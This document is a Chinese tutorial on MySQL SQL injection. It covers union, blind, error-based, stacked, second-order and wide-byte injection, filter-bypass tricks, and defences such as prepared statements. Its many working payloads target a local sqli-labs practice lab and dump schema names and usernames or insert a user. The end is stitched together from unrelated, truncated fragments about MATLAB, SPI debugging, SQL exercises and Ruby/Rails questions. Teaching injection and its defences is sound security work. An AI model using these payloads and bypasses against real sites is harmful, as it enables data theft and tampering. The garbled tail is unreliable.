sql 注入是一种将 sql 代码添加到输入参数中,传递到 sql 服务器解析并执行的一种攻击手法。
SQL 是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用 SQL。而 SQL 注入是将 Web 页面的原 URL、表单域或数据包输入的参数,修改拼接成 SQL 语句,传递给 Web 服务器,进而传给数据库服务器以执行数据库命令。
用户输入的数据被 SQL 解释器执行。
1、攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
2、通过操作数据库对某些网页进行篡改;
3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4、服务器被远程控制,被安装后门。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
5、数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
6、破坏硬盘数据,导致全系统瘫痪。
注:以下命令语句均基于 MySQL 数据库
增 Insert
基本语法 INSERT INTO 表名称 VALUES (值1, 值2,....)
例子 insert into student(name,sex,age) values('张三',18,'男')
删 delete
基本语法 DELETE FROM 表名称 WHERE 列名称 = 值
例子 delete from student where id=1
改 update
基本语法 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
列子 update student set name = '张三' where id=1
查 select
基本语法 SELECT 列名称 FROM 表名称
例子 select * from student
concat(str1,str2,...)没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)含有分隔符地连接字符串
group_concat(str1,str2,...)连接一个组的所有字符串,并以逗号分隔每一条数据
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
根据输入参数分为:
根据注入技巧分为:
根据提交类型分为:
我们经常可以看到这样的 url http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入,这是因为其注入点 id 类型为数字。这一类的 SQL 语句原型一般为 select * from 表名 where id=1。
我们有时又会看到这样的 url http://xxx.com/users.php?name=admin 基于此种形式的注入,一般被叫做字符型注入,这是因为其注入点 name 类型为字符串。这一类的 SQL 语句原型一般为 select * from 表名 where name='admin'
联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的 MYSQL 数据库。
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
使用 sqli-labs less1 进行联合注入的流程演示
爆数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆 security 数据库的数据表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆 users 表的列
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(username),3 from users--+

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时我们需要利用一些方法进行判断或尝试,这个过程称为盲注
什么是布尔盲注?
布尔盲注是指利用页面返回的对错信息来间接推测数据库中的信息的一种手段。(构造逻辑判断)
适用条件:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且 web 页面返回 True 或者 false 时。
常用函数
截取函数:left() right() substr() mid()
转换函数:ascii() hex()
比较函数:if()
什么是时间盲注?
时间盲注又称延时注入,指通过页面执行的时间来判断数据内容的注入方式。
什么时候使用?
当注入时,无论我们传入什么值,网页正常或报错都显示一种页面时,那么网页的是否正常显示将不是我们用来判断是否注入成功的依据,就要用基于时间的盲注。
方法:通过if判断语句与 sleep 函数结合,通过网站访问的响应时间来判断sql语句的正确性
示例:if(left(database(),1)='s',0,sleep(3))
这段 payload 的含义是如果数据库的第一位为's'时,网页正常执行,否则延时3秒
什么是报错盲注?
是指通过构造特定的SQL语句,让攻击者想要查询的信息通过页面的错误提示回显出来的注入方式
什么时候使用:当正常的回显注入无法显示结果,网页可以显示报错信息时,就可以使用报错注入
常见的报错函数
1)floor 报错注入
在进行报错注入时,floor()函数一般需要与rand()、count()、group by联用。
示例:
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a
原理:
rand() 随机产生0~1的数值,floor() 向下取整,所以 floor(rand()*2结果是0或1。
group by 用于分组,当同时执行count和group by函数时,MYSQL会创建一个虚拟表,虚拟表进行计数和分组。在执行group by语句的时候,group by语句后面的字段会被运算两次。
floor会报错的原因就是group by在向临时表插入数据时,插入重复主键导致的报错,又因为报错之前concat()里的语句已经执行过了,所以会直接爆出concat函数里执行后的结果
2)exp 报错注入
示例:
select exp(~(select * FROM(SELECT USER())a))
原理:
exp()即为以e为底的对数函数,exp中的函数成功执行后返回0,对0按位取反会返回一个无符号的BIGINT值,所以会造成Double型数据溢出错误从而报错,借此得到数据。
3)extractvalue 和 updatexml 报错注入
示例:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
原理:
当使用 extractvalue(xml_frag, xpath_expr) 函数时,若 xpath_expr 参数不符合 xpath 格式,就会报错。而 ~ 符号(ascii 编码值:0x7e)是不存在 xpath 格式中的, 所以一旦在 xpath_expr 参数中使用 ~ 符号,就会产生 xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
updatexml同理
顾名思义,堆叠注入就是将一堆 sql 语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。
服务器在访问数据端时使用了可同时执行多条 sql 语句的方法,比如 php 中的mysqli_multi_query()函数
union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
使用 sqli-labs 进行演示
可以直接构造如下的 payload:
http://127.0.0.1/sqli-labs-master/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

打开 phpMyAdmin 可以看到 sql 语句被成功执行,用户成功添加

二次注入是指已存储(数据库、文件)的用户输入被读取后,再次进入到SQL查询语句中导致的注入。
第一步:插入恶意数据
第二步:引用恶意数据
使用 sqli-labs less24 进行演示

查看当前用户,可以看到 admin 的初始密码为123

注册用户名为 admin’# 的账号


登录 admin’#,并修改密码为 666666

如图 admin 的密码被修改

当某字符的大小为一个字节时,称其字符为窄字节.当某字符的大小为两个字节时,称其字符为宽字节.所有英文默认占一个字节,汉字占两个字节
为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数包括 addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc(魔术引号),不过 PHP 高版本已经移除此功能。
我们在注入过程中,输入语句中的特殊字符会被 addslashes()这类转义函数进行转义,但 MySQL 采用了 gbk 编码,会将两个字节看作一个汉字,例如,\ 的 URL 编码是%5c 当用户加上 %df 形成 %df%5c 数据库会自动将 %df%5c 识别成汉字,从而将 \ 闭合,起到了绕过转义的效果,这样即可实现注入攻击。
什么是 GET 注入?
GET 注入:通过 GE T传参的方式,传输恶意语句,进行 SQL 注入
GE T注入介绍
提交数据的方式是 GET,注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1,其中id是注入点。
什么是 POST 注入?
POST注入:通过POST传参的方式,传输恶意语句,进行SQL注入,本质和GET注入是一样的
POST 注入介绍
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
什么是 COOKIE 注入?
修改 cookie 的值进行注入的方式
COOKIE 注入介绍
HTTP请求的时候会带上客户端的Cookie,注入点存在Cookie当中的某个字段中。
什么是 HTTP 头部注入?
一般获取头部的信息用于数据分析,通过请求头部可以向数据库发送查询信息,构造恶意语句可以对数据库进行信息查询。
HTTP 头部注入介绍
注入点在HTTP请求头部的某个字段中。比如存在User-Agent字段中。严格讲的话,Cookie其实应该也是算头部注入的一种形式。因为在HTTP请求的时候Cookie是头部的一个字段。
1. 双写绕过关键字过滤
2. 使用同义函数/语句代替
如if函数可用如下语句代替
case when condition then 1 else 0 end
3. 预处理,或其他手段造成字符串拼接来绕过
1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;
4. 大小写变换
-1' UnIoN SeLeCt 1,2,database()--+
5. 编码绕过
使用URL编码对输入语句进行加密,然后服务器端会对其进行解密。
6. 内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!.../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
(1)双写anandd、oorr
(2)使用运算符代替&&、||
(3)直接拼接=号,如:?id=1=(condition)
(4)其他方法,如:?id=1^(condition)
(1)注释绕过空格
示例:
select/**/user()/**/from/**/dual
(2)括号绕过空格
示例:select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());#
(3)Tab 代替空格
(4)使用两个空格
(5)使⽤其他不可⻅字符代替空格
如 %09, %0a, %0b, %0c, %0d, %a0
(1)改用盲注
(2)使用 join 语句代替
示例:
union select * from ((select 1)A join (select 2)B join (select 3)C);
(3)使用 substring 函数
substring(str FROM pos)
(1)需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入(宽字节注入等)
(2)不需要跳出单引号的情况:字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
(1)使用 in() 绕过
示例:
?id=' or substr((select database()),1,1) in('s')
(2)greatest,strcmp 等函数进行绕过
示例:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
SQL注入危害虽大,但是可以完全杜绝
在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当 get 到的 id 为数字或者数字字符时才能执行下一步。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。
数字型注入可以通过检查数据类型防御,字符型则需要对特殊字符进行转义。在 MySQL 中我们需要对" '进行转义,这样可以防止恶意攻击者来闭合语句。我们通常使用 addslashes() 等安全函数来转义特殊字符。
当一条 SQL 语句执行前,需要先进行语法分析。如果没有使用预编译的方法来执行 SQL,那么每次在执行 SQL 时都需要先进行语法分析,然后再执行。此时进行 SQL 注入,恶意的代码(payload)拼接上 SQL 语句之后才会进行语法分析,其中 payload 中包含的关键字等内容便会被识别,因此会被成功执行。
而预编译则是先在待传入参数的位置增加占位符(?),并对 SQL 语句进行语法分析和编译,并将结果存入内存中等待调用。在调用时,传入的参数会自动放入占位符的位置,并执行 SQL 语句。此时如果进行注入,由于并没有重新进行语法分析,payload 中包含的关键字等不会被识别,而是作为字符串的形式存在于语句中,因此 payload 不会成为 SQL 语句的一部分。
预编译可以防止 sql 注入的原因:允许数据库做参数化查询。在使用参数化查询的情况下,数据库不会将参数的内容视为 SQL 执行的一部分,而是作为一个字段的属性值来处理,这样就算参数中包含破环性语句(or ‘1=1’)也不会被执行。
matlab打开matlab,用最简单的imread方法读取一个图像clcclearimg_h=imread('hua.jpg');返回一个数组(矩阵),往往是a*b*cunit8类型解释一下这个三维数组的意思,行数、数和层数,unit8:指数据类型,无符号八位整形,可理解为0~2^8的数三个层数分别代表RGB三个通道图像rgb最常用的是24-位实现方法,即RGB每个通道有256色阶(2^8)。基于这样的24-位RGB模型的色彩空间可以表现256×256×256≈1670万色当imshow传入了一个二维数组,它将以灰度方式绘制;可以把图像拆分为rgb三层,可以以灰度的方式观察它figure(1
SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手
目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类
我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有
Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject
我正在编写一个Rails应用程序,它将监视某些特定数据库的数据质量。为了做到这一点,我需要能够对这些数据库执行直接SQL查询——这当然与用于驱动Rails应用程序模型的数据库不同。简而言之,这意味着我无法使用通过ActiveRecord基础连接的技巧。我需要连接的数据库在设计时是未知的(即:我不能将它们的详细信息放在database.yaml中)。相反,我有一个模型“database_details”,用户将使用它来输入应用程序将在运行时执行查询的数据库的详细信息。因此与这些数据库的连接实际上是动态的,细节仅在运行时解析。 最佳答案
文章目录一、项目场景二、基本模块原理与调试方法分析——信源部分:三、信号处理部分和显示部分:四、基本的通信链路搭建:四、特殊模块:interpretedMATLABfunction:五、总结和坑点提醒一、项目场景 最近一个任务是使用simulink搭建一个MIMO串扰消除的链路,并用实际收到的数据进行测试,在搭建的过程中也遇到了不少的问题(当然这比vivado里面的debug好不知道多少倍)。准备趁着这个机会,先以一个很基本的通信链路对simulink基础和相关的debug方法进行总结。 在本篇中,主要记录simulink的基本原理和基本的SISO通信传输链路(QPSK方式),计划在下篇记
在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这